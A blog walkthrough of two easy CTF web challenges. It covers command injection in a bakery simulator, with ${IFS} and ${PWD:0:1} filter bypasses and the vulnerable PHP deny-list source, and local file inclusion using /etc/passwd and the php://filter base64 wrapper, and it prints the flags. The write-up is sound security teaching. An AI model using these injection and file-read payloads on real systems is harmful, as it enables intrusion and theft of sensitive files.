If you are a visual learning and don’t like to read blogs, I have created a YouTube video that you can check out.
Baking Bad
Difficulty: Easy
Author: 0xjeppe
This new kid on the block, Bake’n’berg, has taken over the market with some new dough that has 99.2% purity. Ours is not even 60%!
Our bakers have been trying to come up with a new P2P-recipe trying all sorts of weird ingredients to raise the purity, but it’s so costly this way.
Luckily, the developers at Brunnerne have come up with a bash -c 'recipe'
that can simulate the baking process. This way we can test ingredients in a simulator to find ingredients that result in a higher purity - without wasting any resources.
Solution
First, upon visiting the website, we notice that it contains one user input field.
Looking at the prompt, we can assume it’s going to be a Command Injection vulnerability, since it’s simulating the baking process. One of the first things you do when trying to identify a command injection is thinking about where you are within the command.
So if the command that is being run is bash -c 'recipe'
, we can assume that we are going to be inside 'recipe'
. Let’s escape this by simply injecting a ;ls
into the input field.
This makes the command bash -c 'recipe;ls'
, which will execute whatever the recipe command is, and immediately execute the ls
command to list the files in the current directory.
Looking at the files, we can view the index.php
to see if the flag is there.
Command Injection Filter Bypass
Oh no! There’s a filter in place! The first step is to identify what the bad character is. After a while, the space is causing the issue. A neat trick to bypass this filter is to use the Internal Field Separator ${IFS}
in bash. This simply sets a whitespace character in our command. Our new command will look like ;cat${IFS}index.php
.
Welp, we have another filter… but this time it’s for the command we are using. There are many ways to read files on a Linux system, such as, tac
, more
, head
, tail
, less
, and plenty of others. For this case, we will use more
. Our new command is ;more${IFS}index.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$ingredient = $_GET['ingredient'] ?? '';
$denyListCharacters = ['&', '|', '`', '>', '<', '(', ')', '[', ']', '\\', '"', '*', '/', ' '];
$denyListCommands = ['rm', 'mv', 'cp', 'cat', 'echo', 'touch', 'chmod', 'chown', 'kill', 'ps', 'top', 'find'];
function loadSecretRecipe() {
file_get_contents('/flag.txt');
}
function sanitizeCharacters($input) {
for ($i = 0; $i < strlen($input); $i++) {
if (in_array($input[$i], $GLOBALS['denyListCharacters'], true)) {
return 'Illegal character detected!';
}
}
return $input;
}
function sanitizeCommands($input) {
foreach ($GLOBALS['denyListCommands'] as $cmd) {
if (stripos($input, $cmd) !== false) {
return 'Illegal command detected!';
}
}
return $input;
}
function analyze($ingredient) {
$tmp = sanitizeCharacters($ingredient);
if ($tmp !== $ingredient) {
return $tmp;
}
$tmp = sanitizeCommands($ingredient);
if ($tmp !== $ingredient) {
return $tmp;
}
return shell_exec("bash -c './quality.sh $ingredient' 2>&1");
}
$result = $ingredient !== '' ? analyze($ingredient) : '';
?>
Looking at the code, a lot is going on. Firstly, we observe that the filters are bypassing several characters and commands.
$denyListCharacters = ['&', '|', '`', '>', '<', '(', ')', '[', ']', '\\', '"', '*', '/', ' '];
$denyListCommands = ['rm', 'mv', 'cp', 'cat', 'echo', 'touch', 'chmod', 'chown', 'kill', 'ps', 'top', 'find'];
Additionally, we see that we can obtain the flag, which is located in the /flag.txt
. However, we have a filter in place that is preventing us from using a /
. There are a few ways to bypass this, but one that I tend to use is ${PWD:0:1}
. This is using the PWD
environment variable, which holds your current working directory in Linux. Additionally, the :0:1
is setting the position (0
) and the amount of characters to take from the output (1
). So the output will come as a /
.
With this in mind, we can retrieve the flag.
Final Command: ;more${IFS}${PWD:0:1}flag.txt
Flag: brunner{d1d_1_f0rg37_70_b4n_s0m3_ch4rz?}
Brunsviger Huset
Difficulty: Easy-Medium
Author: ha1fdan
Welcome to “Brunsviger Huset” (House of Brunsviger), the oldest Danish bakery in town! Our bakers have been perfecting their craft for over 150 years, and our signature brunsviger is a favorite among locals and tourists alike. But, it seems like our bakery has a secret ingredient that’s not on the menu…
Can you find the hidden flag that’s been baked into our website? Be warned, our bakers are notorious for their clever hiding spots!
Looking at the application, we can see it is a restaurant application.
At the bottom of the webpage, there is a Print Calendar button. Clicking it reveals a file parameter, which could be vulnerable to Local File Inclusion (LFI) since it directly accesses the PHP file using an absolute path.
When dealing with LFI, the first thing to try is basic payloads. For instance, in Linux, we can use the /etc/passwd command, which retrieves the usernames and, in some cases, passwords stored on a Linux system. If this were a Windows system, we could try C:\Windows\System32\Drivers\etc\hosts on the LFI and see if it returns the hosts file.
During CTFs, it’s important to know the basics of enumeration. Something that often comes up is reviewing the page source and robots.txt. In the robots.txt file, we see a reference to a file named secrets.php.
However, looking at the secrets.php, we see that nothing is showing. This indicates that something is happening in the backend that is preventing the data from being retrieved.
There are several ways to bypass this. One of the easiest ways is to use something called PHP Wrappers. There are various kinds of PHP wrappers, but the one that we will be using is php://filter/convert.base64.encode/resource. This will take the data when it’s retrieved, and base64 encode it, displaying it onto the webpage.
PD9waHAKLy8gS2VlcCB0aGlzIGZpbGUgc2VjcmV0LCBpdCBjb250YWlucyBzZW5zaXRpdmUgaW5mb3JtYXRpb24uCiRmbGFnID0gImJydW5uZXJ7bDBjNGxfZjFsM18xbmNsdXMxMG5fMW5fdGgzX2I0azNyeX0iOwo/Pgo=
By doing a base64 -d
on the base64, we can decode it and retrieve the flag.
<?php
// Keep this file secret, it contains sensitive information.
$flag = "brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}";
?>
Authors

Lead Technical Writer
Evan is a dedicated cybersecurity professional with a degree from Roger Williams University. He is certified in GRTP, OSCP, eWPTX, eCPPT, and eJPT. He specializes in web application and API security. In his free time, he identifies vulnerabilities in FOSS applications and mentors aspiring cybersecurity professionals.
Recent Posts

APISEC|CON 2024 CTF Walkthrough
A walkthrough for the APISEC|CON 2024 CTF Walkthrough. We will delve into different API vulnerabilities and how to exploit them.
May 14, 2025

How to Get Into CVE Hunting - A Beginner’s Guide to Finding Vulnerabilities
Learn how to find, report, and publish CVEs using open-source apps. Build skills, earn credibility, and start your penetration testing journey the right way.
May 7, 2025

The Truth About Penetration Testing - It’s Not Just Hacking
Penetration testing isn’t just hacking—it's about communication, clear reporting, and delivering real value to clients through actionable findings.
Apr 30, 2025